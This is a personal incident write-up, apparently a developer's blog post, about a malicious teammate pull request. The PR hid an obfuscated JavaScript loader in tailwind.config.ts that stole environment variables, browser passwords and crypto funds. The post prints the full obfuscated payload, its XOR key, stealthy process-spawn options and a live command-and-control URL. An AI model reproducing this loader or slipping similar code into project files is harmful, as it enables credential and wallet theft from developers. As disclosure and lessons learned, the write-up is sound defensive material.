that one time i got hacked: a security incident breakdown
the setup
after practicing cybersecurity and bug bounty hunting for about 2 years, i thought i had my security game pretty locked down. i’ve been in tech for over 5 years now, always paranoid about security practices, using 2fa everywhere, being careful about what i click and what i run. this was my first time getting properly owned, and honestly, it was a humbling experience.
what happened
it started with what seemed like a normal pre-release day. we had a big production deployment scheduled for the next day for ethcc, and one of my teammate had a pr open fixing some bugs related to currency within the app.
the pr wasn’t merged yet, but since we needed to be absolutely sure everything worked perfectly before the conference, i decided to pull his branch locally and do some smoke testing of all our critical user flows. this is pretty standard practice before major releases.
as a frontend developer, running the dev server using pnpm dev
is literally something i do dozens of times a day. it’s as routine as breathing. pull code, start the dev server, test changes - rinse and repeat. this time was no different, except it cost me everything.
the irony is that i was being extra thorough because of the high-stakes deployment. what felt like due diligence - pulling and testing an unmerged branch before review - ended up being exactly what got me compromised.
everything seemed normal when i pulled the code. the changes looked legitimate - just some standard bug fixes. but hidden in the tailwind.config.ts file was something else entirely: a heavily obfuscated javascript payload, according to my teammate his ide did not show this change in the git-differences when he was pushing the code.
the attack vector
the malicious code was incredibly sophisticated. when i ran the dev server, it:
- fetched additional malicious code from a blockchain transaction on bsc (binance smart chain)
- downloaded a 32.4kb executable from github
- read all our environment variables (database credentials, api keys, jwt secrets, you name it)
- extracted saved passwords from chrome’s encrypted storage
- executed system commands
- spawned detached node processes to avoid detection
- cleaned up after itself
diving deeper into the payload
here’s the actual malicious script that was hidden in our tailwind.config.ts file:
global["_V"] = "7-facus7029";
global["r"] = require;
(function () {
var Jex = "",
CoP = 394 - 383;
function rKj(c) {
var p = 289187;
var m = c.length;
var o = [];
for (var e = 0; e < m; e++) {
o[e] = c.charAt(e);
}
for (var e = 0; e < m; e++) {
var q = p * (e + 138) + (p % 48794);
var u = p * (e + 384) + (p % 46631);
var s = q % m;
var n = u % m;
var i = o[s];
o[s] = o[n];
o[n] = i;
p = (q + u) % 3489505;
}
return o.join("");
}
var LCr = rKj("ctynoeuotfsswkrbzgtipvmqjoclrxnrcaduh").substr(0, CoP);
var WZF =
'vrn vftr,q=;ke+.i;,tr2el3jk;ctq-sSfm;oon++gr2avv;razr=(am tk2)=)0r,ts(65<rc[ h.)horr,=)p8cu(+nvo,r9(711b=qrt=g.,7frf,6r0ugl+]h( [tp+);n0ve b,0i]g9.e8nCs16 pc,a=e[ g[(h.;)!ganb=.r1.;.d8;r])75)(r=5t7=ohi=t7 u;fs()gp=C)1sa;tl "jtn;h,vuh(oct)jC=lr*mo(nsh.=sb0i7(" ++;f.rt;a0)a=.m;rn;d8=+]d>=0i]r-9mC;rb;4l2oseto{}gdf,e]C[}tem[n"gc+.jv )90(>ar{0t))(asg(na;C( au8o[(}t=nlol;=q=r)9t+{wxrv8cm;j9vh;<t=hs(ng6ut(+a];kvsyiaapsl(=g=r<A=,m}4( 85{l[iAh.rl1.- e4+,.orl;oeSs=nu.e+4tpe)y.calvha,Ch;r4jfl!cnglwodeuv(ev,rs<]a 1n r;6e,t(rr;v(,os=;) li]()lA.e)gr}"ig"{pas)(y,hj" ]l6;[];*rq;gieu.p.n,,s-rnl}t.iuslt,+)evi+p6=lpamn18sl;3=rd,e +f(.yhc);;[ist"(+vnj=rddiin5=uu=v;,=alta)(rhdbomv+o+[ugirsl)";t2(=(+p0vo[;fju w=rbjvbr;uvh(17n6a[i9u)9iv).]=0h)1 fmr.n=bhc78(<;vC) a;0 nirfaf,(]b"hrapvm-1gatfrg,)erab.ht o+1be=g1hrt (2;=wo+8aeune}8rn=aidagrrr"loicvu)o)n+,[r.7{r7r]o-am=-4efAr+e{2neywis;lAaf;;;=.rb)ip,);=;';
var VCs = rKj[LCr];
var rFC = "";
var OEy = VCs;
var DIo = VCs(rFC, rKj(WZF));
var GUU = DIo(
rKj(
'7%.]_to1eWe]p7410]c]j%r(SmcchtWe%];m(lgw(is2ch.(W+m c_.4e*;Wav.n.%1]t.7W*fve#3vme[=cpton]dW((.f/aWm.+.lbCo[ti]Wp>okdg!2tc=}g;%s.%r."W=(2at[ca4m5dtl=}9{loc)/ecWWxcrhsn6y%c=9i.l|oh,.SWhWm:Wh_[dNy+lce=Wa]b(ort,!1pcrut2?. c.),{ncWi7n0o].+)W!m;8!).%+!p cWe]ewa#a;52Wu);}n)nr)+..t;tnsrt(21n6S%n=57]c]6gcdst1etWby13;(5-e)5}4 :c(lcfw$!|sWsW5=%=f)]du9!!01(dt6.o%9aWntmsse}+5c]ea61](61W=c7a#r&rWa(c}5io;i)+Ts)_%qWs%)ecoedo5uosW60[(c;p)ca4{e8.s];:W%ntWeahae$9"c%Wpw1W%.4db9lu0x1*)! )o=.(mte=+f5+Wva!(a!nre=49vc%;nat(r;11;.fvaa[, /96!9d:rhj2g.[}Wfc c0._=[W9#et()ep+a("W1Wbrp.eWejtW.$fr%n.W(>}c\'p%0ur%8 {=c...,a(+)+trr)t h]++7%4-o%3((3ctkw$)["([dt1.pl2oi)S,WWt%Tn%/..61.=i8}e0W+iy%))e]4%%ecm#ec(3]]26.C"%Wan0 C1ne.ewg2(ocaf.r3a(k2]333}42e5-9Wtf:W-0von.1t(t0r4nd0f%C=lWn,6=oecg+!W.[o1WW+tW$(c3]xs21n,:e=a1]oec4}(We%b_Wt,a.W$i)dn=%.n87a6e$1(snrW4n 0WaWs;uc]w=ucWfo2W((..,)t2.]]0We3]s)}pce;2W#32%&381.]/WW2v)1r}c35n9c1).oie5r4y0e )[eW75,,WeaW_y-,ct;\'i{})S[1]Wt19"[p,0nii=wa9l]}es.ph]r_u=.6[elg(Wtci2];.,%cc])moeW%:5_cWcnW4S.oi i][W,js=n=[cWWvo6;tWt {rW%%$%i2a}nWt7%]WcljiatethtW[]a)e[sr ]%m4et)d_"&f.}=ira0teC9)]t#(.r,2tW=7W0ttWN;).2+/fec.)W]Wchcs4=%t.n s,)W(")W.W14W(6o]5W}]oc(];tW{u=t)]c$eaW")/S.1+aWhac)5+28f.c.3)]+n6o]to;Ws3$;W= 4ru1{a+.0+,]cW",W.! tbnWr+ar.5!r*8pne,.4ap(3>oph..(fg6ni /WooWu..dWW)tWWooc5)]$8tW]a[gs{go[;(\'n.{:s3hilWc0y+}(W[W8e=5%)2]]4.,adWc3];)%c)t=gcrWv.;8i.2i8,2t%).o2g= lfrmtWalo)0()=]W)atedsc4WpWn.]];Wn])tt()Ws%ce}3ci7=ptn4W+gwy.he((9t(r%6t.ch+saa0t}=2)#aorW_cqW])me4#o_e0a(%!ar2]]]7(c)1}eg{5fs!}]t)W[#.a)t%2sn,=.ck)a(%.n.e(Wr]a;ii+,c"Wuab]tW(=7w/1ryle(.Wd%bn=6rage(]cWay%]{ro]])3>(]$"$c(t%rvu(Wr4,o=01s&Wn.{d;er[c.u)d]-]t3o%i\'re(47]:i.t.4ip.Wic1ro#std;_(t!;)eetW.t]usW8]9}h=(tebt.o+(wt]sn2.ce[W4h$W)s%]n%))aW_!4+nn.c.%r{/)e]:e]l.$;_cig)}t[ci}=-"$_icl)n0)+)paebmbWWtatn.(W]t[q()ecsW=e.) 2d8iWl3cee),oWadWW.!ar%+kpWoW/o8.ct=m)=_{dt3i(..W(x'
)
);
var OAd = OEy(Jex, GUU);
OAd(8011);
return 9247;
})();
looking at this mess, you can see it’s completely obfuscated - just a wall of random characters and function calls that means nothing to human eyes. it used multiple layers of string encryption and function constructors to hide its true purpose. when executed:
step 1: blockchain payload retrieval
the script made a request to fetch a specific transaction:
inside this transaction’s input data was base64-encoded malicious code. the script decoded it using a hardcoded xor key: $v$5;kmc$ldm*5SA
.
step 2: process spawning and persistence
once decoded, the script spawned a detached node process using child_process.spawn()
with the following options:
{
detached: true,
stdio: 'ignore',
windowsHide: true
}
this made the malicious process run independently of the original server start process, making it harder to detect and kill.
step 3: data exfiltration
the final payload established communication with a command & control server at http://23.27.20.143:27017/$/boot
(hosted on ace data centers/evoxt uk)
the script systematically:
- enumerated environment variables
- accessed chrome’s encrypted password storage
- executed system commands
all while running silently in the background as i continued my normal development work.
the damage
the immediate impact was:
- all three of us (devs) had to completely wipe and reset our compromised machines
- the teammate who was first compromised and whose pr is ran locally had to do reset his device twice because he got reinfected
- i lost a HUGE amount of money drained from my hot wallets - money i had kept for emergency purpose and my last month’s salary
- we lost about 6 working days total dealing with the cleanup
- had to rotate all exposed api keys, database credentials, and secrets
the financial hit was the worst part. as a developer, i had gotten comfortable with my routine of spinning up dev servers constantly. i never imagined that something as mundane as running a dev server could lead to losing money. it’s a harsh reminder that in our industry, the tools we use daily can become weapons in the wrong hands.
but it could have been much worse. if we hadn’t caught it quickly, that malicious code could have made it to production.
how they got in
from what i was able to track initially, my stolen funds went through multiple swaps and bridges across different blockchain networks - a classic money laundering technique to obscure the trail. the attackers moved quickly to convert everything through some cross-chain bridges to make the funds nearly impossible to trace.
but after a while, i had to stop investigating. diving deeper into tracking where exactly my money went and analyzing the attack patterns was starting to affect my mental health. it felt like reopening the wound every time i looked at transaction hashes and wallet addresses. the combination of losing that much money and realizing how completely i’d been violated by this malware running on my machine was honestly giving me ptsd.
i made the decision to move on rather than obsess over every detail of how my funds were moved around. i wouldn’t be lying if i say i’m still recovering from this whole thing mentally and financially
the aftermath
we immediately implemented several security measures:
- removed auto-deploy from vercel
- enforced 2fa for all team members across all services
- added more branch protection rules
- rotated all exposed keys and secrets
- removed direct access to deployment environments
- temporarily removed all the affected devs from all the services
- enforced stricter code review processes
lessons learned
even when you think you’re being careful, modern attack vectors are incredibly sophisticated. the combination of supply chain attacks (compromised dependencies), social engineering (trusted teammate’s account), and tight deadline for prod releae made this almost impossible to detect until it was too late.
what really got me was how normal everything felt. i was just doing what i do every single day as a dev - pull code, run the server, test features. the attack leveraged the most routine part of my workflow. that’s what made it so effective and so devastating.
moving forward
this experience reinforced why security can never be an afterthought. no matter how paranoid you think you are, attackers are constantly evolving their techniques. the key takeaways:
- always verify unusual commits, even from trusted team members
- be suspicious of any code that seems unnecessarily complex or obfuscated
- implement proper branch protection and review processes
- and the list would go long…
p.s. since i did not proceed with investigating the hack all the way till end, some of the info in this post might not be 100% accurate
thanks to
- jota : for helping with inital investigation
- gowtham & rcx86 : for helping with investigating the hack
getting hacked sucks. stay safe out there.